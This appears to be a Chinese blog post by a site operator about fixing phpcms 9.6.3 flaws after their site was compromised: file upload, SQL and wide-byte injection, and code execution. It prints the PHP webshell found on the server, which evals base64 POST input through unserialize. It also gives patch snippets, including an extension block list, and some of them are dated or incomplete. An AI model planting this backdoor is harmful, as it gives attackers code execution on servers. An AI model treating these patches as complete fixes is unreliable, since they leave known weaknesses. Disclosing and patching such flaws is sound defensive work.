home > php > phpcms >

漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复

author:zhoulujun    hits:

发现网站注入了n多的php文件,分析发现,原来上传文件,没有做过滤。系统从9 6 0升级到9 6 3,漏洞还是蛮多。这里把修复的漏洞贴一下。phpcms现在都不见维护了。新系统准备用react+json,前端渲染,后台渲染只给seo 蜘蛛看

今天发现网站注入了n多的php文件,网站运营后,一直没有怎么去管它,至今酿成大祸。分析发现,原来上传文件,没有做过滤。

phpcms文件注入漏洞

在PHPCMS一些漏洞修复及解决方案

里面代码大致如下,

<?php
    class A{
            var $test = "demo";
            function __destruct(){
                    @eval($this->test);
            }
    }
    $test = base64_decode($_POST['guige']);
    $len = strlen($test)+1;
    $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
    $test_unser = unserialize($pp);
    ?>

文件上传下载漏洞修复

原来 phpcms\libs\classes\attachment.class.php,这个文件漏洞不少,

在144行位置:导致getshell修复方案

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png|svg', $absurl = '', $basehref = '')
{
   global $image_d;
   $this->att_db = pc_base::load_model('attachment_model');
   $upload_url = pc_base::load_config('system','upload_url');
   $this->field = $field;
       // 此处增加类型的判断
       if($ext !== 'gif|jpg|jpeg|bmp|png'){
           if(!in_array(strtoupper($ext),array('JPG','GIF','BMP','PNG','JPEG'))) exit('附加扩展名必须为gif、jpg、jpeg、bmp、png');
       }

在164行位置:

foreach($remotefileurls as $k=>$file) {
   if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
   $filename = fileext($file);
   // 此处增加类型的判断
   if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
      continue;
   }

注入漏洞

/phpcms/modules/poster/poster.php 文件中,未对输入参数$_GET['group']进行严格过滤,导致注入漏洞。

//如果设置了按地区或者按ip分类
if ($_GET['group']) {
       // $group = " `".$_GET['group']."`";
       // 未对输入参数$_GET['group']进行严格过滤,导致注入漏洞
       $_GET['group'] = preg_replace('#`#', '', $_GET['group']);
       $fields = "*, COUNT(".$_GET['group'].") AS num";
   $order = " `num` DESC";
}

宽字节注入

phpcms\modules\pay\respond.php

phpcmsv9.5.9以后版本开始默认使用mysqli支持,因为代码逻辑不够严谨,导致宽字节注入

public function respond_get() {
   if ($_GET['code']){
     //$payment = $this->get_by_code($_GET['code']);//因为代码逻辑不够严谨,导致宽字节注入
     //phpcmsv9.5.9以后版本开始默认使用mysqli支持,mysql_real_escape_string 函数转义 SQL 语句中使用的字符串中的特殊字符,
     $payment = $this->get_by_code(mysql_real_escape_string($_GET['code']));

任意代码执行漏洞

phpcms\modules\admin\urlrule.php

全局替换:$this->url_ifok($_POST['info']['urlrule'])

为:$this->url_ifok($_POST['info']['urlrule'], $_POST['info']['ishtml'])

修改函数:url_ifok

public function url_ifok($url, $ishtml){
    $urldb = explode("|",$url);
    foreach($urldb as $key=>$value){
        if(!intval($ishtml) && strpos($value, "index.php") === 0){
            $value = substr($value,'9');
        }
        if( stripos($value, "php") !== false){
            return false;
        }
    }
    return true;
}

现贴到这里吧。

phpcms n年没有运营了。08年开始弄phpcms 网站,现在也得换一下了。新系统准备用react+json,前端渲染,后台渲染只给seo 蜘蛛看。

方案完成后,等待github更新吧

转载本站文章《漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复》, 请注明出处:https://www.zhoulujun.cn/html/php/phpcms/2019_1110_8204.html